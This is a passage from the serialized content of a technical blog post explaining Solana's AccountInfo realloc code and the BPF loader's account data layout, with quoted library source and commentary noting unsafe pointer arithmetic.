requested\n",{"type":21,"tag":198,"props":14977,"children":14978},{"class":200,"line":494},[14979,14983,14988,14992,14996,15001,15005],{"type":21,"tag":198,"props":14980,"children":14981},{"style":640},[14982],{"type":27,"value":643},{"type":21,"tag":198,"props":14984,"children":14985},{"style":226},[14986],{"type":27,"value":14987}," zero_init",{"type":21,"tag":198,"props":14989,"children":14990},{"style":683},[14991],{"type":27,"value":1819},{"type":21,"tag":198,"props":14993,"children":14994},{"style":226},[14995],{"type":27,"value":14765},{"type":21,"tag":198,"props":14997,"children":14998},{"style":683},[14999],{"type":27,"value":15000}," >",{"type":21,"tag":198,"props":15002,"children":15003},{"style":226},[15004],{"type":27,"value":14595},{"type":21,"tag":198,"props":15006,"children":15007},{"style":211},[15008],{"type":27,"value":233},{"type":21,"tag":198,"props":15010,"children":15011},{"class":200,"line":515},[15012,15017],{"type":21,"tag":198,"props":15013,"children":15014},{"style":698},[15015],{"type":27,"value":15016}," sol_memset",{"type":21,"tag":198,"props":15018,"children":15019},{"style":211},[15020],{"type":27,"value":4268},{"type":21,"tag":198,"props":15022,"children":15023},{"class":200,"line":4484},[15024,15028,15032,15036,15040,15044,15048,15052,15056,15061,15065],{"type":21,"tag":198,"props":15025,"children":15026},{"style":683},[15027],{"type":27,"value":8497},{"type":21,"tag":198,"props":15029,"children":15030},{"style":249},[15031],{"type":27,"value":4530},{"type":21,"tag":198,"props":15033,"children":15034},{"style":249},[15035],{"type":27,"value":14604},{"type":21,"tag":198,"props":15037,"children":15038},{"style":683},[15039],{"type":27,"value":658},{"type":21,"tag":198,"props":15041,"children":15042},{"style":698},[15043],{"type":27,"value":14681},{"type":21,"tag":198,"props":15045,"children":15046},{"style":211},[15047],{"type":27,"value":14686},{"type":21,"tag":198,"props":15049,"children":15050},{"style":683},[15051],{"type":27,"value":2156},{"type":21,"tag":198,"props":15053,"children":15054},{"style":211},[15055],{"type":27,"value":2051},{"type":21,"tag":198,"props":15057,"children":15058},{"style":226},[15059],{"type":27,"value":15060},"orig_len",{"type":21,"tag":198,"props":15062,"children":15063},{"style":683},[15064],{"type":27,"value":3860},{"type":21,"tag":198,"props":15066,"children":15067},{"style":211},[15068],{"type":27,"value":2820},{"type":21,"tag":198,"props":15070,"children":15071},{"class":200,"line":4493},[15072,15077],{"type":21,"tag":198,"props":15073,"children":15074},{"style":2540},[15075],{"type":27,"value":15076}," 0",{"type":21,"tag":198,"props":15078,"children":15079},{"style":211},[15080],{"type":27,"value":257},{"type":21,"tag":198,"props":15082,"children":15083},{"class":200,"line":4561},[15084,15089,15093,15098,15102,15106],{"type":21,"tag":198,"props":15085,"children":15086},{"style":226},[15087],{"type":27,"value":15088}," new_len",{"type":21,"tag":198,"props":15090,"children":15091},{"style":683},[15092],{"type":27,"value":658},{"type":21,"tag":198,"props":15094,"children":15095},{"style":698},[15096],{"type":27,"value":15097},"saturating_sub",{"type":21,"tag":198,"props":15099,"children":15100},{"style":211},[15101],{"type":27,"value":706},{"type":21,"tag":198,"props":15103,"children":15104},{"style":226},[15105],{"type":27,"value":15060},{"type":21,"tag":198,"props":15107,"children":15108},{"style":211},[15109],{"type":27,"value":7548},{"type":21,"tag":198,"props":15111,"children":15112},{"class":200,"line":4569},[15113],{"type":21,"tag":198,"props":15114,"children":15115},{"style":211},[15116],{"type":27,"value":8555},{"type":21,"tag":198,"props":15118,"children":15119},{"class":200,"line":4599},[15120],{"type":21,"tag":198,"props":15121,"children":15122},{"style":211},[15123],{"type":27,"value":880},{"type":21,"tag":198,"props":15125,"children":15126},{"class":200,"line":4607},[15127],{"type":21,"tag":198,"props":15128,"children":15129},{"emptyLinePlaceholder":16},[15130],{"type":27,"value":1283},{"type":21,"tag":198,"props":15132,"children":15133},{"class":200,"line":4638},[15134,15139],{"type":21,"tag":198,"props":15135,"children":15136},{"style":1966},[15137],{"type":27,"value":15138}," Ok",{"type":21,"tag":198,"props":15140,"children":15141},{"style":211},[15142],{"type":27,"value":15143},"(())\n",{"type":21,"tag":198,"props":15145,"children":15146},{"class":200,"line":4646},[15147],{"type":21,"tag":198,"props":15148,"children":15149},{"style":211},[15150],{"type":27,"value":1120},{"type":21,"tag":30,"props":15152,"children":15153},{},[15154,15156,15162,15164,15169],{"type":27,"value":15155},"Oh. There's ",{"type":21,"tag":194,"props":15157,"children":15159},{"className":15158},[],[15160],{"type":27,"value":15161},"unsafe",{"type":27,"value":15163},". And no bounds check in sight. ",{"type":21,"tag":1671,"props":15165,"children":15166},{},[15167],{"type":27,"value":15168},"And",{"type":27,"value":15170}," pointer math. That doesn't look promising...",{"type":21,"tag":22,"props":15172,"children":15174},{"id":15173},"breaking-down-realloc",[15175,15177],{"type":27,"value":15176},"Breaking down ",{"type":21,"tag":194,"props":15178,"children":15180},{"className":15179},[],[15181],{"type":27,"value":14445},{"type":21,"tag":30,"props":15183,"children":15184},{},[15185,15187,15192],{"type":27,"value":15186},"Let's pick apart this ",{"type":21,"tag":194,"props":15188,"children":15190},{"className":15189},[],[15191],{"type":27,"value":15161},{"type":27,"value":15193}," block, since there's a lot going on here.",{"type":21,"tag":187,"props":15195,"children":15197},{"className":3789,"code":15196,"language":3788,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[15198],{"type":21,"tag":194,"props":15199,"children":15200},{"__ignoreMap":7},[15201,15209,15296],{"type":21,"tag":198,"props":15202,"children":15203},{"class":200,"line":201},[15204],{"type":21,"tag":198,"props":15205,"children":15206},{"style":1233},[15207],{"type":27,"value":15208},"// First set new length in the serialized data\n",{"type":21,"tag":198,"props":15210,"children":15211},{"class":200,"line":217},[15212,15216,15220,15224,15228,15232,15236,15240,15244,15248,15252,15256,15260,15264,15268,15272,15276,15280,15284,15288,15292],{"type":21,"tag":198,"props":15213,"children":15214},{"style":249},[15215],{"type":27,"value":12597},{"type":21,"tag":198,"props":15217,"children":15218},{"style":226},[15219],{"type":27,"value":14664},{"type":21,"tag":198,"props":15221,"children":15222},{"style":683},[15223],{"type":27,"value":979},{"type":21,"tag":198,"props":15225,"children":15226},{"style":249},[15227],{"type":27,"value":14604},{"type":21,"tag":198,"props":15229,"children":15230},{"style":683},[15231],{"type":27,"value":658},{"type":21,"tag":198,"props":15233,"children":15234},{"style":698},[15235],{"type":27,"value":14681},{"type":21,"tag":198,"props":15237,"children":15238},{"style":211},[15239],{"type":27,"value":14686},{"type":21,"tag":198,"props":15241,"children":15242},{"style":683},[15243],{"type":27,"value":3940},{"type":21,"tag":198,"props":15245,"children":15246},{"style":698},[15247],{"type":27,"value":14695},{"type":21,"tag":198,"props":15249,"children":15250},{"style":211},[15251],{"type":27,"value":14686},{"type":21,"tag":198,"props":15253,"children":15254},{"style":683},[15255],{"type":27,"value":658},{"type":21,"tag":198,"props":15257,"children":15258},{"style":698},[15259],{"type":27,"value":14708},{"type":21,"tag":198,"props":15261,"children":15262},{"style":211},[15263],{"type":27,"value":706},{"type":21,"tag":198,"props":15265,"children":15266},{"style":683},[15267],{"type":27,"value":5139},{"type":21,"tag":198,"props":15269,"children":15270},{"style":2540},[15271],{"type":27,"value":4887},{"type":21,"tag":198,"props":15273,"children":15274},{"style":211},[15275],{"type":27,"value":1541},{"type":21,"tag":198,"props":15277,"children":15278},{"style":249},[15279],{"type":27,"value":9652},{"type":21,"tag":198,"props":15281,"children":15282},{"style":683},[15283],{"type":27,"value":10626},{"type":21,"tag":198,"props":15285,"children":15286},{"style":249},[15287],{"type":27,"value":4530},{"type":21,"tag":198,"props":15289,"children":15290},{"style":1966},[15291],{"type":27,"value":6673},{"type":21,"tag":198,"props":15293,"children":15294},{"style":211},[15295],{"type":27,"value":1483},{"type":21,"tag":198,"props":15297,"children":15298},{"class":200,"line":236},[15299,15303,15307,15311,15315,15319,15323],{"type":21,"tag":198,"props":15300,"children":15301},{"style":683},[15302],{"type":27,"value":5383},{"type":21,"tag":198,"props":15304,"children":15305},{"style":226},[15306],{"type":27,"value":14756},{"type":21,"tag":198,"props":15308,"children":15309},{"style":683},[15310],{"type":27,"value":979},{"type":21,"tag":198,"props":15312,"children":15313},{"style":226},[15314],{"type":27,"value":14765},{"type":21,"tag":198,"props":15316,"children":15317},{"style":249},[15318],{"type":27,"value":9638},{"type":21,"tag":198,"props":15320,"children":15321},{"style":1966},[15322],{"type":27,"value":6673},{"type":21,"tag":198,"props":15324,"children":15325},{"style":211},[15326],{"type":27,"value":1483},{"type":21,"tag":30,"props":15328,"children":15329},{},[15330,15335],{"type":21,"tag":194,"props":15331,"children":15333},{"className":15332},[],[15334],{"type":27,"value":14681},{"type":27,"value":15336}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":21,"tag":59,"props":15338,"children":15340},{"id":15339},"bpf-loader-abi",[15341],{"type":27,"value":15342},"BPF Loader ABI",{"type":21,"tag":30,"props":15344,"children":15345},{},[15346,15348,15353,15355,15368],{"type":27,"value":15347},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":21,"tag":194,"props":15349,"children":15351},{"className":15350},[],[15352],{"type":27,"value":14460},{"type":27,"value":15354},"'s entrypoint code - the code that's added when you use the ",{"type":21,"tag":34,"props":15356,"children":15359},{"href":15357,"rel":15358},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[38],[15360,15366],{"type":21,"tag":194,"props":15361,"children":15363},{"className":15362},[],[15364],{"type":27,"value":15365},"entrypoint!",{"type":27,"value":15367}," macro",{"type":27,"value":185},{"type":21,"tag":187,"props":15370,"children":15372},{"className":3789,"code":15371,"language":3788,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[15373],{"type":21,"tag":194,"props":15374,"children":15375},{"__ignoreMap":7},[15376,15384,15456,15499,15551,15609,15652,15695,15702],{"type":21,"tag":198,"props":15377,"children":15378},{"class":200,"line":201},[15379],{"type":21,"tag":198,"props":15380,"children":15381},{"style":211},[15382],{"type":27,"value":15383},"#[no_mangle]\n",{"type":21,"tag":198,"props":15385,"children":15386},{"class":200,"line":217},[15387,15391,15396,15401,15406,15410,15415,15419,15423,15427,15431,15435,15440,15444,15448,15452],{"type":21,"tag":198,"props":15388,"children":15389},{"style":249},[15390],{"type":27,"value":14497},{"type":21,"tag":198,"props":15392,"children":15393},{"style":249},[15394],{"type":27,"value":15395}," unsafe",{"type":21,"tag":198,"props":15397,"children":15398},{"style":249},[15399],{"type":27,"value":15400}," extern",{"type":21,"tag":198,"props":15402,"children":15403},{"style":205},[15404],{"type":27,"value":15405}," \"C\"",{"type":21,"tag":198,"props":15407,"children":15408},{"style":249},[15409],{"type":27,"value":14502},{"type":21,"tag":198,"props":15411,"children":15412},{"style":698},[15413],{"type":27,"value":15414}," entrypoint",{"type":21,"tag":198,"props":15416,"children":15417},{"style":211},[15418],{"type":27,"value":706},{"type":21,"tag":198,"props":15420,"children":15421},{"style":226},[15422],{"type":27,"value":9177},{"type":21,"tag":198,"props":15424,"children":15425},{"style":683},[15426],{"type":27,"value":185},{"type":21,"tag":198,"props":15428,"children":15429},{"style":683},[15430],{"type":27,"value":10626},{"type":21,"tag":198,"props":15432,"children":15433},{"style":249},[15434],{"type":27,"value":4530},{"type":21,"tag":198,"props":15436,"children":15437},{"style":1966},[15438],{"type":27,"value":15439}," u8",{"type":21,"tag":198,"props":15441,"children":15442},{"style":211},[15443],{"type":27,"value":1541},{"type":21,"tag":198,"props":15445,"children":15446},{"style":683},[15447],{"type":27,"value":14564},{"type":21,"tag":198,"props":15449,"children":15450},{"style":1966},[15451],{"type":27,"value":6673},{"type":21,"tag":198,"props":15453,"children":15454},{"style":211},[15455],{"type":27,"value":233},{"type":21,"tag":198,"props":15457,"children":15458},{"class":200,"line":236},[15459,15463,15467,15472,15476,15481,15485,15490,15494],{"type":21,"tag":198,"props":15460,"children":15461},{"style":249},[15462],{"type":27,"value":3809},{"type":21,"tag":198,"props":15464,"children":15465},{"style":211},[15466],{"type":27,"value":648},{"type":21,"tag":198,"props":15468,"children":15469},{"style":226},[15470],{"type":27,"value":15471},"program_id",{"type":21,"tag":198,"props":15473,"children":15474},{"style":211},[15475],{"type":27,"value":828},{"type":21,"tag":198,"props":15477,"children":15478},{"style":226},[15479],{"type":27,"value":15480},"accounts",{"type":21,"tag":198,"props":15482,"children":15483},{"style":211},[15484],{"type":27,"value":828},{"type":21,"tag":198,"props":15486,"children":15487},{"style":226},[15488],{"type":27,"value":15489},"instruction_data",{"type":21,"tag":198,"props":15491,"children":15492},{"style":211},[15493],{"type":27,"value":1541},{"type":21,"tag":198,"props":15495,"children":15496},{"style":683},[15497],{"type":27,"value":15498},"=\n",{"type":21,"tag":198,"props":15500,"children":15501},{"class":200,"line":260},[15502,15507,15511,15515,15520,15524,15529,15533,15538,15542,15546],{"type":21,"tag":198,"props":15503,"children":15504},{"style":249},[15505],{"type":27,"value":15506}," unsafe",{"type":21,"tag":198,"props":15508,"children":15509},{"style":211},[15510],{"type":27,"value":1891},{"type":21,"tag":198,"props":15512,"children":15513},{"style":683},[15514],{"type":27,"value":2227},{"type":21,"tag":198,"props":15516,"children":15517},{"style":249},[15518],{"type":27,"value":15519},"crate",{"type":21,"tag":198,"props":15521,"children":15522},{"style":683},[15523],{"type":27,"value":4286},{"type":21,"tag":198,"props":15525,"children":15526},{"style":211},[15527],{"type":27,"value":15528},"entrypoint",{"type":21,"tag":198,"props":15530,"children":15531},{"style":683},[15532],{"type":27,"value":4286},{"type":21,"tag":198,"props":15534,"children":15535},{"style":698},[15536],{"type":27,"value":15537},"deserialize",{"type":21,"tag":198,"props":15539,"children":15540},{"style":211},[15541],{"type":27,"value":706},{"type":21,"tag":198,"props":15543,"children":15544},{"style":226},[15545],{"type":27,"value":9177},{"type":21,"tag":198,"props":15547,"children":15548},{"style":211},[15549],{"type":27,"value":15550},") };\n",{"type":21,"tag":198,"props":15552,"children":15553},{"class":200,"line":281},[15554,15559,15564,15569,15573,15577,15581,15585,15589,15593,15597,15601,15605],{"type":21,"tag":198,"props":15555,"children":15556},{"style":640},[15557],{"type":27,"value":15558}," match",{"type":21,"tag":198,"props":15560,"children":15561},{"style":683},[15562],{"type":27,"value":15563}," $",{"type":21,"tag":198,"props":15565,"children":15566},{"style":226},[15567],{"type":27,"value":15568},"process_instruction",{"type":21,"tag":198,"props":15570,"children":15571},{"style":211},[15572],{"type":27,"value":706},{"type":21,"tag":198,"props":15574,"children":15575},{"style":683},[15576],{"type":27,"value":3917},{"type":21,"tag":198,"props":15578,"children":15579},{"style":226},[15580],{"type":27,"value":15471},{"type":21,"tag":198,"props":15582,"children":15583},{"style":211},[15584],{"type":27,"value":828},{"type":21,"tag":198,"props":15586,"children":15587},{"style":683},[15588],{"type":27,"value":3917},{"type":21,"tag":198,"props":15590,"children":15591},{"style":226},[15592],{"type":27,"value":15480},{"type":21,"tag":198,"props":15594,"children":15595},{"style":211},[15596],{"type":27,"value":828},{"type":21,"tag":198,"props":15598,"children":15599},{"style":683},[15600],{"type":27,"value":3917},{"type":21,"tag":198,"props":15602,"children":15603},{"style":226},[15604],{"type":27,"value":15489},{"type":21,"tag":198,"props":15606,"children":15607},{"style":211},[15608],{"type":27,"value":668},{"type":21,"tag":198,"props":15610,"children":15611},{"class":200,"line":302},[15612,15617,15622,15627,15631,15635,15639,15643,15647],{"type":21,"tag":198,"props":15613,"children":15614},{"style":1966},[15615],{"type":27,"value":15616}," Ok",{"type":21,"tag":198,"props":15618,"children":15619},{"style":211},[15620],{"type":27,"value":15621},"(()) ",{"type":21,"tag":198,"props":15623,"children":15624},{"style":683},[15625],{"type":27,"value":15626},"=>",{"type":21,"tag":198,"props":15628,"children":15629},{"style":683},[15630],{"type":27,"value":15563},{"type":21,"tag":198,"props":15632,"children":15633},{"style":249},[15634],{"type":27,"value":15519},{"type":21,"tag":198,"props":15636,"children":15637},{"style":683},[15638],{"type":27,"value":4286},{"type":21,"tag":198,"props":15640,"children":15641},{"style":211},[15642],{"type":27,"value":15528},{"type":21,"tag":198,"props":15644,"children":15645},{"style":683},[15646],{"type":27,"value":4286},{"type":21,"tag":198,"props":15648,"children":15649},{"style":211},[15650],{"type":27,"value":15651},"SUCCESS,\n",{"type":21,"tag":198,"props":15653,"children":15654},{"class":200,"line":323},[15655,15660,15664,15669,15673,15677,15682,15686,15691],{"type":21,"tag":198,"props":15656,"children":15657},{"style":1966},[15658],{"type":27,"value":15659}," Err",{"type":21,"tag":198,"props":15661,"children":15662},{"style":211},[15663],{"type":27,"value":706},{"type":21,"tag":198,"props":15665,"children":15666},{"style":226},[15667],{"type":27,"value":15668},"error",{"type":21,"tag":198,"props":15670,"children":15671},{"style":211},[15672],{"type":27,"value":1541},{"type":21,"tag":198,"props":15674,"children":15675},{"style":683},[15676],{"type":27,"value":15626},{"type":21,"tag":198,"props":15678,"children":15679},{"style":226},[15680],{"type":27,"value":15681}," error",{"type":21,"tag":198,"props":15683,"children":15684},{"style":683},[15685],{"type":27,"value":658},{"type":21,"tag":198,"props":15687,"children":15688},{"style":698},[15689],{"type":27,"value":15690},"into",{"type":21,"tag":198,"props":15692,"children":15693},{"style":211},[15694],{"type":27,"value":4296},{"type":21,"tag":198,"props":15696,"children":15697},{"class":200,"line":344},[15698],{"type":21,"tag":198,"props":15699,"children":15700},{"style":211},[15701],{"type":27,"value":880},{"type":21,"tag":198,"props":15703,"children":15704},{"class":200,"line":365},[15705],{"type":21,"tag":198,"props":15706,"children":15707},{"style":211},[15708],{"type":27,"value":1120},{"type":21,"tag":30,"props":15710,"children":15711},{},[15712,15714,15719,15721,15727,15729,15736,15738,15744,15746,15753],{"type":27,"value":15713},"What we see here is the contract's real entrypoint - it takes a ",{"type":21,"tag":194,"props":15715,"children":15717},{"className":15716},[],[15718],{"type":27,"value":4226},{"type":27,"value":15720}," buffer in from the loader, and calls ",{"type":21,"tag":194,"props":15722,"children":15724},{"className":15723},[],[15725],{"type":27,"value":15726},"solana_program::entrypoint::deserialize",{"type":27,"value":15728},", which then ",{"type":21,"tag":34,"props":15730,"children":15733},{"href":15731,"rel":15732},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[38],[15734],{"type":27,"value":15735},"parses out",{"type":27,"value":15737}," all the ",{"type":21,"tag":194,"props":15739,"children":15741},{"className":15740},[],[15742],{"type":27,"value":15743},"AccountInfo",{"type":27,"value":15745},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":21,"tag":34,"props":15747,"children":15750},{"href":15748,"rel":15749},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[38],[15751],{"type":27,"value":15752},"laid out",{"type":27,"value":185},{"type":21,"tag":187,"props":15755,"children":15757},{"className":3789,"code":15756,"language":3788,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[15758],{"type":21,"tag":194,"props":15759,"children":15760},{"__ignoreMap":7},[15761,15778,15858,15891,15898,15946,15991,15999,16023],{"type":21,"tag":198,"props":15762,"children":15763},{"class":200,"line":201},[15764,15769,15773],{"type":21,"tag":198,"props":15765,"children":15766},{"style":211},[15767],{"type":27,"value":15768},"#[allow(clippy",{"type":21,"tag":198,"props":15770,"children":15771},{"style":683},[15772],{"type":27,"value":4286},{"type":21,"tag":198,"props":15774,"children":15775},{"style":211},[15776],{"type":27,"value":15777},"cast_ptr_alignment)]\n",{"type":21,"tag":198,"props":15779,"children":15780},{"class":200,"line":217},[15781,15785,15790,15794,15798,15802,15806,15810,15814,15818,15822,15826,15830,15834,15838,15842,15846,15850,15854],{"type":21,"tag":198,"props":15782,"children":15783},{"style":249},[15784],{"type":27,"value":12597},{"type":21,"tag":198,"props":15786,"children":15787},{"style":226},[15788],{"type":27,"value":15789}," data_len",{"type":21,"tag":198,"props":15791,"children":15792},{"style":683},[15793],{"type":27,"value":979},{"type":21,"tag":198,"props":15795,"children":15796},{"style":683},[15797],{"type":27,"value":10626},{"type":21,"tag":198,"props":15799,"children":15800},{"style":211},[15801],{"type":27,"value":706},{"type":21,"tag":198,"props":15803,"children":15804},{"style":226},[15805],{"type":27,"value":9177},{"type":21,"tag":198,"props":15807,"children":15808},{"style":683},[15809],{"type":27,"value":658},{"type":21,"tag":198,"props":15811,"children":15812},{"style":698},[15813],{"type":27,"value":10448},{"type":21,"tag":198,"props":15815,"children":15816},{"style":211},[15817],{"type":27,"value":706},{"type":21,"tag":198,"props":15819,"children":15820},{"style":226},[15821],{"type":27,"value":14708},{"type":21,"tag":198,"props":15823,"children":15824},{"style":211},[15825],{"type":27,"value":1541},{"type":21,"tag":198,"props":15827,"children":15828},{"style":249},[15829],{"type":27,"value":9652},{"type":21,"tag":198,"props":15831,"children":15832},{"style":683},[15833],{"type":27,"value":10626},{"type":21,"tag":198,"props":15835,"children":15836},{"style":249},[15837],{"type":27,"value":2648},{"type":21,"tag":198,"props":15839,"children":15840},{"style":1966},[15841],{"type":27,"value":6673},{"type":21,"tag":198,"props":15843,"children":15844},{"style":211},[15845],{"type":27,"value":1541},{"type":21,"tag":198,"props":15847,"children":15848},{"style":249},[15849],{"type":27,"value":9652},{"type":21,"tag":198,"props":15851,"children":15852},{"style":1966},[15853],{"type":27,"value":14538},{"type":21,"tag":198,"props":15855,"children":15856},{"style":211},[15857],{"type":27,"value":1483},{"type":21,"tag":198,"props":15859,"children":15860},{"class":200,"line":236},[15861,15865,15870,15875,15879,15883,15887],{"type":21,"tag":198,"props":15862,"children":15863},{"style":226},[15864],{"type":27,"value":14708},{"type":21,"tag":198,"props":15866,"children":15867},{"style":683},[15868],{"type":27,"value":15869}," +=",{"type":21,"tag":198,"props":15871,"children":15872},{"style":698},[15873],{"type":27,"value":15874}," size_of",{"type":21,"tag":198,"props":15876,"children":15877},{"style":683},[15878],{"type":27,"value":4286},{"type":21,"tag":198,"props":15880,"children":15881},{"style":211},[15882],{"type":27,"value":3159},{"type":21,"tag":198,"props":15884,"children":15885},{"style":1966},[15886],{"type":27,"value":8853},{"type":21,"tag":198,"props":15888,"children":15889},{"style":211},[15890],{"type":27,"value":9262},{"type":21,"tag":198,"props":15892,"children":15893},{"class":200,"line":260},[15894],{"type":21,"tag":198,"props":15895,"children":15896},{"emptyLinePlaceholder":16},[15897],{"type":27,"value":1283},{"type":21,"tag":198,"props":15899,"children":15900},{"class":200,"line":281},[15901,15905,15910,15914,15919,15923,15928,15933,15937,15941],{"type":21,"tag":198,"props":15902,"children":15903},{"style":249},[15904],{"type":27,"value":12597},{"type":21,"tag":198,"props":15906,"children":15907},{"style":226},[15908],{"type":27,"value":15909}," data",{"type":21,"tag":198,"props":15911,"children":15912},{"style":683},[15913],{"type":27,"value":979},{"type":21,"tag":198,"props":15915,"children":15916},{"style":1966},[15917],{"type":27,"value":15918}," Rc",{"type":21,"tag":198,"props":15920,"children":15921},{"style":683},[15922],{"type":27,"value":4286},{"type":21,"tag":198,"props":15924,"children":15925},{"style":698},[15926],{"type":27,"value":15927},"new",{"type":21,"tag":198,"props":15929,"children":15930},{"style":211},[15931],{"type":27,"value":15932},"(RefCell",{"type":21,"tag":198,"props":15934,"children":15935},{"style":683},[15936],{"type":27,"value":4286},{"type":21,"tag":198,"props":15938,"children":15939},{"style":698},[15940],{"type":27,"value":15927},{"type":21,"tag":198,"props":15942,"children":15943},{"style":211},[15944],{"type":27,"value":15945},"({\n",{"type":21,"tag":198,"props":15947,"children":15948},{"class":200,"line":302},[15949,15954,15958,15962,15966,15970,15974,15978,15983,15987],{"type":21,"tag":198,"props":15950,"children":15951},{"style":698},[15952],{"type":27,"value":15953}," from_raw_parts_mut",{"type":21,"tag":198,"props":15955,"children":15956},{"style":211},[15957],{"type":27,"value":706},{"type":21,"tag":198,"props":15959,"children":15960},{"style":226},[15961],{"type":27,"value":9177},{"type":21,"tag":198,"props":15963,"children":15964},{"style":683},[15965],{"type":27,"value":658},{"type":21,"tag":198,"props":15967,"children":15968},{"style":698},[15969],{"type":27,"value":10448},{"type":21,"tag":198,"props":15971,"children":15972},{"style":211},[15973],{"type":27,"value":706},{"type":21,"tag":198,"props":15975,"children":15976},{"style":226},[15977],{"type":27,"value":14708},{"type":21,"tag":198,"props":15979,"children":15980},{"style":211},[15981],{"type":27,"value":15982},"), ",{"type":21,"tag":198,"props":15984,"children":15985},{"style":226},[15986],{"type":27,"value":14613},{"type":21,"tag":198,"props":15988,"children":15989},{"style":211},[15990],{"type":27,"value":789},{"type":21,"tag":198,"props":15992,"children":15993},{"class":200,"line":323},[15994],{"type":21,"tag":198,"props":15995,"children":15996},{"style":211},[15997],{"type":27,"value":15998},"}));\n",{"type":21,"tag":198,"props":16000,"children":16001},{"class":200,"line":344},[16002,16006,16010,16014,16018],{"type":21,"tag":198,"props":16003,"children":16004},{"style":226},[16005],{"type":27,"value":14708},{"type":21,"tag":198,"props":16007,"children":16008},{"style":683},[16009],{"type":27,"value":15869},{"type":21,"tag":198,"props":16011,"children":16012},{"style":226},[16013],{"type":27,"value":15789},{"type":21,"tag":198,"props":16015,"children":16016},{"style":683},[16017],{"type":27,"value":1440},{"type":21,"tag":198,"props":16019,"children":16020},{"style":211},[16021],{"type":27,"value":16022}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":21,"tag":198,"props":16024,"children":16025},{"class":200,"line":365},[16026,16030,16034,16038,16042,16046,16050,16054,16058,16062,16066,16071,16076],{"type":21,"tag":198,"props":16027,"children":16028},{"style":226},[16029],{"type":27,"value":14708},{"type":21,"tag":198,"props":16031,"children":16032},{"style":683},[16033],{"type":27,"value":15869},{"type":21,"tag":198,"props":16035,"children":16036},{"style":211},[16037],{"type":27,"value":648},{"type":21,"tag":198,"props":16039,"children":16040},{"style":226},[16041],{"type":27,"value":14708},{"type":21,"tag":198,"props":16043,"children":16044},{"style":249},[16045],{"type":27,"value":9638},{"type":21,"tag":198,"props":16047,"children":16048},{"style":683},[16049],{"type":27,"value":10626},{"type":21,"tag":198,"props":16051,"children":16052},{"style":249},[16053],{"type":27,"value":2648},{"type":21,"tag":198,"props":16055,"children":16056},{"style":1966},[16057],{"type":27,"value":15439},{"type":21,"tag":198,"props":16059,"children":16060},{"style":211},[16061],{"type":27,"value":2109},{"type":21,"tag":198,"props":16063,"children":16064},{"style":683},[16065],{"type":27,"value":658},{"type":21,"tag":198,"props":16067,"children":16068},{"style":698},[16069],{"type":27,"value":16070},"align_offset",{"type":21,"tag":198,"props":16072,"children":16073},{"style":211},[16074],{"type":27,"value":16075},"(BPF_ALIGN_OF_U128); ",{"type":21,"tag":198,"props":16077,"children":16078},{"style":1233},[16079],{"type":27,"value":16080},"// padding\n",{"type":21,"tag":30,"props":16082,"children":16083},{},[16084,16086,16091,16093,16099,16101,16112,16114,16119,16121,16127,16129,16135,16137,16143],{"type":27,"value":16085},"In English, we have the length of the data, as a ",{"type":21,"tag":194,"props":16087,"children":16089},{"className":16088},[],[16090],{"type":27,"value":8853},{"type":27,"value":16092},", followed immediately by the data, and an additional ",{"type":21,"tag":194,"props":16094,"children":16096},{"className":16095},[],[16097],{"type":27,"value":16098},"MAX_PERMITTED_DATA_INCREASE",{"type":27,"value":16100}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":21,"tag":34,"props":16102,"children":16105},{"href":16103,"rel":16104},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[38],[16106],{"type":21,"tag":194,"props":16107,"children":16109},{"className":16108},[],[16110],{"type":27,"value":16111},"slice::from_raw_parts_mut",{"type":27,"value":16113},") - slices are how Rust represents a, well, ",{"type":21,"tag":1671,"props":16115,"children":16116},{},[16117],{"type":27,"value":16118},"slice",{"type":27,"value":16120}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":21,"tag":194,"props":16122,"children":16124},{"className":16123},[],[16125],{"type":27,"value":16126},"Rc\u003CRefCell\u003CT>>",{"type":27,"value":16128},", giving us the unwieldy-looking type of ",{"type":21,"tag":194,"props":16130,"children":16132},{"className":16131},[],[16133],{"type":27,"value":16134},"AccountInfo.data",{"type":27,"value":16136},": ",{"type":21,"tag":194,"props":16138,"children":16140},{"className":16139},[],[16141],{"type":27,"value":16142},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":27,"value":658},{"type":21,"tag":30,"props":16145,"children":16146},{},[16147,16149,16156],{"type":27,"value":16148},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":21,"tag":34,"props":16150,"children":16153},{"href":16151,"rel":16152},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[38],[16154],{"type":27,"value":16155},"cloning the referenced account",{"type":27,"value":185},{"type":21,"tag":187,"props":16158,"children":16160},{"className":3789,"code":16159,"language":3788,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as 